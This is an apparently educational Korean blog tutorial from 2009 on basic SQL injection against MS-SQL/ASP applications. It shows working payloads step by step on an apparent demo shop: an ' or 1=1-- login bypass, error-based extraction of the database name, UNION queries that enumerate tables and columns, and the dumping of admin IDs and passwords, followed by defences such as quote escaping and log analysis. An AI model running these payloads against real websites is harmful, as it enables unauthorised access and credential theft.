GooOOoodbyestar

SQL injection (기초)

공부 ? 2009.06.24 댓글 내꿈은보신탕


A Table of Contents

Database 
SQL injection 이론
SQL injection 시나리오 # 1 
SQL injection 대응방안


우선 Database 의 기본 개념과 Query 문의 기본을 알아야 SQL injection 을 어느정도 익힐 수 있다.
DB 를 하나 만들어 보겠습니다.
 create table test ( userid varchar(20), userpw varchar(20) )
table 안에 값을 한번 넣어 보겠습니다.
 insert into test values ('zestace', '1234');
 
자 그럼 Query 문을 한번 보겠습니다.
정상적인 Query
 select userid, userpw from test where userid='zestace' and userpw='1234'
userid='zestace' (TRUE) userpw='1234' (TRUE) 
TRUE AND TRUE = TRUE 

비 정상적인 Query
 select userid, userpw from test where userid='zestace' and userpw='0000'
userid='zestace' (TRUE) userpw='0000' (FALSE) 
TRUE AND FALSE = FALSE 

SQL injection 의 원리
SQL injection Query
 select userid, userpw  from test where userid='zestace' and userpw='' or 1=1--'
userid='zestace' (TRUE) userpw='' (FALSE) 1=1 (TRUE)
TRUE AND FALSE = FALSE OR TRUE = TRUE
결론적으로 OR 구문으로 Query를 재구성 해서 로그인을 성공하는 방법이다.

WebHacking 의 궁극적인 목적은 공격자가 원하는 DB 를 보는 것에 있다.
매번 꾸준히 발견되며 국내 웹 사이트의 대다수가 SQL injection에 노출되어 있다.
보안성 강화 차원에서 L7 까지 패턴화 시켜 공격을 막는 솔루션 즉 웹 방화벽이라는 것이 있지만
이 역시 솔루션의 한계를 들어낼 수 밖에 없다. 
웹 방화벽의 기본적인 특징은 SQL injection 의 패턴들을 위에서는 ' or 1=1-- 라는 것을 시그니처화 시켜 패턴이 발견되면 Request Packet 을 Drop 하는 형태이다.
하지만 SQL injection 의 수 많은 패턴을 전부 등록하고 미리 예측하여 등록하기란 사실상 불 가능에 가깝다.
패턴을 정교하게 만들지 않으면 서비스 가용성에 문제가 생길 수 밖에 없는 현실 때문이다.
본론으로 SQL injection은 사용자로 부터 입력 받은 데이터를 이용하여 동적으로 Query 구문을 오나성 할 수 있는 페이지에서 적절한 검증 없이 DB Query문의 일부로 포함되는 경우 발생하며 DBMS가 의도되지 않은 결과를 반환하며 입력 값에 대해 그 적정성을 검사하지 않았기 때문에 발생 한다.
SQL injection은 입력 값 검증 부재 의 일종이이다.
정의를 내리자면 웹 페이지를 통해 입력된 Parameter 값을 이용하여 Query 를 재 구성 하는 방법 이라고 할 수 있다.

공격 대상 : WebApp 가 DB 로 사용자 입력을 보낼 때면 언제든지 가능
Web Application 의 일반적인 인증 절차


SQL injection 의 다양한 패턴

SQL injection 공격절차
우선 SQL injection 을 하기 위해서는 공격대상의 DB를 파악한 후 해당 DB 의 Table Name 과 Column Name 을 알아낸 후 공격자가 원하는 필드 값을 획들 하는 형식의 공격이 이루어 진다.

처음 DB Schema 파악 하는데 ( 'and db_name() > 1-- ) db_name()을 이용하여 DB Name 을 알아낸다.  db_name()은 MS-SQL에서 DB 이름을 문자열로 반환하는 함수 이며 결과 값은 당연히 에러 메시지가 뜨게 되어 있다. 문자열을 정수랑 비교했는데 에러가 안나겠는가 ??
에러 형식:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
nvarchar 값 ‘oyesmall'을(를) int 데이터 형식의 열로 변환하는 중 구문 에러가 발생했습니다.
/demoshop/login/findNewaddr.asp, line 192
oyesmall 이라는 DB를 토해내는 것을 볼 수 있다.

여기서 우리는 첫 번째 정보를 획득한 것이다. DB NAME = oyesmall 이다.
두 번째 DB안에 있는 table 을 알아야 한다. DB table 은 table 명을 포함한 system table 을 이용하는 것이다. 사실 table 을 직접 참조하는 것이 아니라 system view 에 의해 반환되는 형식이다.
information_schema.tables 라는 시스템 뷰를 이용해 table 명을 알아 낼 때는 UNION 구문의 형식은 선행 table 의 column 개수가 동일 해야 한다.
table을 알아내는 방법에는 여러 가지가 존재한다. tables 이름을 하나씩 제거 하던가 .. 비교연산을 통한 TOP 구문을 이용하여 검색결과를 하나씩 늘려가던가 필자는 통상적으로 Guessing 으로 알아내는 경우가 더 많다.
오류 형식:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
UNION 연산자를 포함하는 SQL 문의 모든 쿼리는 대상 목록에 동일한 개수의 식이 있어야 합니다.
/demoshop/login/findNewaddr.asp, line 192

마지막으로 table 안의 column을 알아야 하며 table을 알아내는 방법과 동일 하지만 system view 를 달리 써야한다. table name 은 information_schema.tables 를 사용했지만 column은 column은 명을 포함하고 잇는 system view 를 사용하여야 한다.
information_schema.column을 이용할 경우에는 table_name 과 column명을 포함하고 있다.

SQL injection의 효과 : Application에서 사용하고 있는 DB 정보 조회/변조/삭제

아주 간단한 SQL injection
로그인 우회를 하기 위해 'or '1'=1 구문을 사용해 우회해보자 처음 등록된 사용자로 로그인이 된다.




다음은 우편번호의 SQL Query 가 어떻게 날라가는지를 생각해본다.

[133-824] 서울 성동구 성수1가2동 670 사용자가 다음과 같은 우편번호 조회를 했다고 가정해 보면 SQL Query 는 다음과 같이 날라 갈것이다.

Select ‘우편번호’, 시, 구, 동 from zipcode where 동=’성수1가2동’;

SQL Query 를 만들어 냈다면 다음 공격은 간단하게 진행이 된다. 우선 Union 구문의 특성을 생각해보자. Union 구문의 특성의 가장 큰 특징은 바로 COLUMN 개수가 동일 해야 한다는 것이다.

UNION SELECT '1','2','3'TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- 

이와 같은 형식이 될 것이며 information_schema.tables--과 table_name 은 위에서 설명했으므로 생략하겠다. 
실제 공격을 진행해 보도록 하겠다.

$'UNION SELECT '1','2','3','4',TABLE_NAME FROM INFORMATION_SCHEMA.TABLES –
입력하여 해당 데이터베이스의 TABLE을 볼 수 있다.

다음 공격은 해당 TABLE 에 대한 COLUMN 을 알아내는 것이다.
$'UNION SELECT '1','2','3','4', COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME= 'admin_tb' --
이 구문은 ‘admin_tb’ 테이블의 COLUMN 을 나타내는 구문이다.

'union select '1','2','3',adminid, adminpwd from admin_tb--
아주 간단한 구문이다 admin_tb 테이블에서 adminin, adminpwd COULMN 값을 볼 수 있으며 이 구문 이외도 아주 다양한 구문이 존재한다. 
가령 $' or 1=(select top 1 adminid from admin_tb)-- 이 구문은 말도 안되는 구문이다 정수랑 문자열이랑 같다고 했으니 말이다. 하지만 알아야 할 것은 에러페이지 안에 adminid가 존재할 것이다  
Microsoft OLE DB Provider for SQL Server (0x80040E07)
varchar 값 'goodbyestar'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/demoshop/login/findNewaddr.asp, line 192
자 그럼 마지막 단계인 password 를 한번 획득해 보자. 
$'union select '1','2','3','4' adminid,adminpwd from admin_tb where adminid='goodbyestar' --
admin_tb 테이블안의 adminid,adminpwd COLUMN 값 중 adminid 가 goodbyestar 인 것을 출력하라는 뜻이다.


SQL Injection 대응방안

SQL Injection의 방어 방법에는 여러 가지가 존재한다.
방어 방법에는 사용자 입력 값에 대한 검증이 이루어져 하고 적절한 데이터 길이 제한 같은 1차적인 룰이 있어야 한다. 하지만 데이터 길이 제한 같은 경우 쉽게 우회가 가능하므로 확실한 대비책이라고는 볼 수 없다. 적절한 오류 처리 및 IDS/웹 방화벽 구축 이 있으며 로그분석 또한 공격자의 추적에 도움이 된다.
첫 번째로는 사용자 입력 값에 대한 SQL Injection을 유발 시킬 수 있는 대표적인 싱글쿼테이션(‘) 을 필터링 시키는 방법을 알아 보도록 하겠다.

UserID = Request.Form("User_ID") 
PassWD = Request.Form("PassWD")

위 코드는 Request객체에 Form메소드를 사용하여 User_ID 와 PassWD 값을 파라미터 값으로 받아왔지만 어디에도 User_ID 와 PassWD 를 검증 하는 코드는 존재하지 않는다. 
UserID = Request.Form("User_ID") 
PassWD = Request.Form("PassWD")
UserID=Replace(UserID,"'","''")
PassWD=Replace(PassWD,"'","''")
Replace함수로 (‘) , (“) 을 필터링 한 코드이다. 이렇게 되면 다음과 같이 SQL Injection 유발 문자열을 필터링 할 수 있다


우선 SQL injection 침해 대응의 기본은 log 분석인 점을 명심 하자.
그럼 SQL injection 기초를 마치겠다.

by ghlee


댓글